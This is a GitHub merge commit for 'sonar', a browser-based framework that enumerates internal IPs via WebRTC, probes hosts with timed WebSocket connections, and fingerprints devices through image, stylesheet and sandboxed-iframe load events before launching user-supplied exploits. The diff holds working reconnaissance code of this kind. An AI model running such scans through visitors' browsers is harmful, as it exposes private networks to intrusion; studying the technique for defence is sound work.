Skip to content

Commit 9d0d937

Browse files
committed
merge conflict resolution
2 parents 991adba + 8cd870b commit 9d0d937

File tree

4 files changed

+37
-15
lines changed

4 files changed

+37
-15
lines changed

README.md

+3-2
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,10 @@
11
# sonar
2-
A framework for identifying and launching exploits against internal network hosts. Works via WebRTC IP scanning combined with external resource fingerprinting.
2+
A framework for identifying and launching exploits against internal network hosts. Works via WebRTC IP enumeration, WebSocket host scanning, and external resource fingerprinting.
33

44
## How does it work?
55
Upon loading the sonar payload in a modern web browser the following will happen:
6-
* sonar will use WebRTC to scan the internal network for live hosts.
6+
* sonar will use WebRTC to enumerate what internal IPs the user loading the payload has.
7+
* sonar then attempts to find live hosts on the internal network via WebSockets.
78
* If a live host is found, sonar begins to attempt to fingerprint the host by linking to it via ```<img src="x">``` and ```<link rel="stylesheet" type="text/css" href="x">``` and hooking the ```onload``` event. If the expected resources load successfully it will trigger the pre-set JavaScript callback to start the user-supplied exploit.
89
* If the user changes networks, sonar starts the process all over again on the newly joined network.
910

sonar.js

+6-7
Original file line numberDiff line numberDiff line change
@@ -129,7 +129,7 @@ var sonar = {
129129
'check_ip': function ( ip ){
130130
var done = false;
131131
var t1 = +new Date();
132-
var socket = new WebSocket("ws://" + ip);
132+
var socket = new WebSocket("ws://" + ip + '/' + sonar.generate_random_id() );
133133
socket.onerror = function(e){
134134
if(e.timeStamp - t1 < 10){
135135
done = true;
@@ -223,7 +223,7 @@ var sonar = {
223223
},
224224

225225
/*
226-
* Internal host fingerprinting via SOP hacks
226+
* Internal host fingerprinting via hooking onload and onerror. Even active content such as HTML pages and .js can be used here (as they are read via static iframes)
227227
*/
228228
'check_resource_exists': function( resource, ip, id ) {
229229
var full_source = 'http://' + ip + ( resource instanceof Array ? resource[0] : resource );
@@ -238,12 +238,11 @@ var sonar = {
238238
var resourceref = document.createElement( "img" );
239239
resourceref.setAttribute( "id", element_id );
240240
resourceref.setAttribute( "src", full_source );
241-
} else if ( full_source.toLowerCase().endsWith( '.js' ) ) {
242-
var resourceref = document.createElement( "script" );
243-
resourceref.setAttribute( "id", "testresource" );
244-
resourceref.setAttribute( "src", full_source );
245241
} else {
246-
return false;
242+
var resourceref = document.createElement( "iframe" );
243+
resourceref.setAttribute( "id", element_id );
244+
resourceref.setAttribute( "src", full_source );
245+
resourceref.setAttribute( "sandbox", "" );
247246
}
248247
resourceref.addEventListener( "error", function( event ) {
249248
document.getElementById( element_id ).remove();

sonar_fingerprint_generator/manifest.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "sonar - Fingerprint Generator",
3-
"version": "0.0.8",
3+
"version": "0.0.9",
44
"manifest_version": 2,
55
"description": "Fingerprint generator for the sonar project",
66
"homepage_url": "https://github.com/mandatoryprogrammer/sonar",

sonar_fingerprint_generator/src/inject/inject.js

+27-5
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,9 @@
11
function get_relative_path( url ) {
22
var el = document.createElement('a');
33
el.href = url;
4+
if( el.protocol != 'http:' && el.protocol != 'https:' ) {
5+
return false;
6+
}
47
if( el.port == "" ) {
58
return el.pathname;
69
} else {
@@ -19,23 +22,42 @@ function get_resource_array( document_ref ) {
1922
prints.push( document_ref.styleSheets[i].href );
2023
}
2124
}
25+
for( var i = 0; i < document_ref.scripts.length; i++ ){
26+
if( document_ref.scripts[i].src !== undefined && document_ref.scripts[i].src !== null ) {
27+
prints.push( document_ref.scripts[i].src );
28+
}
29+
}
30+
var new_prints = [];
31+
console.log(prints);
2232
for( var i = 0; i < prints.length; i++ ){
23-
if (prints[i] instanceof Array) {
24-
prints[i][0] = get_relative_path( prints[i][0] );
25-
} else {
26-
prints[i] = get_relative_path( prints[i] );
33+
var tmp_print = get_relative_path( prints[i] instanceof Array ? prints[i][0] : prints[i] );
34+
if( tmp_print != false ){
35+
if (prints[i] instanceof Array) {
36+
new_prints.push( [ tmp_print, prints[i][1], prints[i][2] ] );
37+
} else {
38+
new_prints.push( tmp_print );
39+
}
2740
}
2841
}
42+
prints = new_prints;
43+
console.log( prints );
2944
return prints;
3045
}
3146

3247
function recursive_element_collect( window_ref ) {
3348
var resource_array = [];
3449
for( i = 0; i < window_ref.frames.length; i++ ) {
3550
if( window_ref.frames[i].frames.length > 0 ) {
51+
try {
3652
resource_array = resource_array.concat( recursive_element_collect( window_ref.frames[i] ) );
53+
} catch (e) {}
3754
}
38-
resource_array = resource_array.concat( get_resource_array( window_ref.frames[i].document ) );
55+
try{
56+
resource_array = resource_array.concat( get_resource_array( window_ref.frames[i].document ) );
57+
} catch (e) {}
58+
try{
59+
resource_array.push( get_relative_path( window_ref.frames[i].location.href ) );
60+
} catch (e) {}
3961
}
4062
resource_array = resource_array.concat( get_resource_array( window_ref.document ) );
4163
return resource_array;

0 commit comments

Comments
 (0)